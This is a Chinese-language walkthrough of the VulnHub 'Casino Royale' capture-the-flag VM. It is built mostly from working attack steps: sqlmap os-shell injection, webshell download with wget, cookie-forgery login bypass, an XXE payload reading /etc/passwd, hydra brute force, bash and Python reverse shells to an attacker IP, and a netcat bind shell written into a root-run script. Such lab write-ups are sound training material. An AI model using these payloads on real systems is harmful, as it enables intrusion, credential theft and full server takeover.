Casino Royale靶场wp
0x00 下载安装
https://download.vulnhub.com/casinoroyale/CasinoRoyale.ova
导入vmware启动
0x01 主机信息收集
0x02目录扫描
index.php 获取到一个域名
修改本地hosts 添加一行
路径:C:\Windows\System32\drivers\etc
192.168.2.20 casino-royale.local
点击view,有点像sql查询,抓包看看
很像注入点,sqlmap嗦一把,
一个延迟注入
获取了三个用户
--os-shell 写不进去 可能是我重启过靶机应该可以写入的
只能用个sqlshell
select @@datadir: '/var/lib/mysql/' 文件写不进去,换个方向
install 一个安装PokerMax Pro Poker League Software页面
查找到一个漏洞 PokerMax Poker League 0.13 - Insecure Cookie Handling - PHP webapps Exploit 添加cookie 获得管理员登录
8081端口,没看出来啥,执行了是一个日志的东西
0x03绕过
1. 通过sql注入绕过
这里看前面大佬有搜到源码,现在搜不到了
/pokeradmin/configure.php 登陆处存在注入,并且未做sql注入防护
sqlmap -u http://casino-royale.local/pokeradmin/ --level=5 --risk=3 --os-shell --batch --forms
通过wget下载一句话木马,wget http://192.168.2.11/1.txt mv 1.txt 1.php 重命名
路径为 http://casino-royale.local/pokeradmin/1.php 可以通过os-shell获取路径
获取到数据库账户密码 valenka 11archives11
2.漏洞绕过
查找历史漏洞
searchsploit PokerMax
searchsploit -m php/webapps/6766.txt
在浏览器f12控制台执行js脚本
javascript:document.cookie = "ValidUserAdmin=admin";
重新访问,成功绕过登录
得到用户名 密码 admin raise12million
只有Valenka里面有东西
得到一个路径
需要使用域名,把路径加到后面 http://casino-royale.local/vip-client-portfolios/?uri=blog
有登录 注册 重置
密码不知道,重置密码,发送到了管理员账户,
找一下漏洞。
有一个csrf
Snowfox CMS 查找cms漏洞。有一个csrf
Snowfox CMS 1.0 - Cross-Site Request Forgery (Add Admin) - PHP webapps Exploit
EHLO test5
MAIL FROM:obanno@bond.com
RCPT TO:valenka
DATA
Subject:obanno
http://192.168.2.11/index.html
obanno
kthxbai
.
发了n个邮件,一个也没成功 跳过了 登录获取到路径
view-source:http://casino-royale.local//ultra-access-view/main.php
查看源代码 是一个xxe 可以读取文件
写入修改为post 用户名为
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note [ <!ENTITY file SYSTEM "file:///etc/passwd" >]> <creds> <customer>&file;</customer> <password>mypass</password> </creds>
ftpUserULTRA 提到密码很简单,来一波爆破
hydra -l ftpUserULTRA -P ignis-1K.txt ftp://192.168.2.21
得到密码为 ftpUserULTRA bankbank
三个文件
perl文件 刚好是该目录下 http://casino-royale.local/ultra-access-view/hello_world.pl 文件可以被执行,权限可读可执行,,想办法写入反弹shell
直接找了个大马,上传,webshell/pl/pps-pl/pps-v4.0.pl at master · tennc/webshell · GitHub
执行反弹shell
find /etc/passwd -exec bash -c 'bash -i >& /dev/tcp/192.168.2.11/11111 0>&1' ;
0x04 获取le权限
查找可提权文件,
find / -type f -user root -perm -o=w 2>/dev/null | grep -v 'proc\|sys'
开启监听
反弹shell提权 没啥用,没得到权限
find /etc/passwd -exec bash -c 'bash -i >& /dev/tcp/192.168.2.11/11111 0>&1' \;
查找可提权文件
find / -user root -perm -4000 -print 2>/dev/null
发现一个路径/opt/casino-royale/mi6_detect_test 这几个文件的权限很特别
这正好是8081端口运行的服务,点击跳转到http://casino-royale.local:8081/collect.php
查看源码,该文件会执行目录下的py文件,不可修改
点击按钮,会跳转运行collect.php ,执行 casino-data-collection.py 我们直接写入python反弹shell
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.11",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);
启动监听,获取shell,得到le权限,接下来要获取root
0x05 获取root权限
mi6_detect_test为root所有,会执行run.sh文件,我们通过echo命令开一个正向连接,写入run.sh在运行mi6既可获取到root权限 echo "nc -lvvp 1234 -t -e /bin/bash" >> run.sh
成功拿下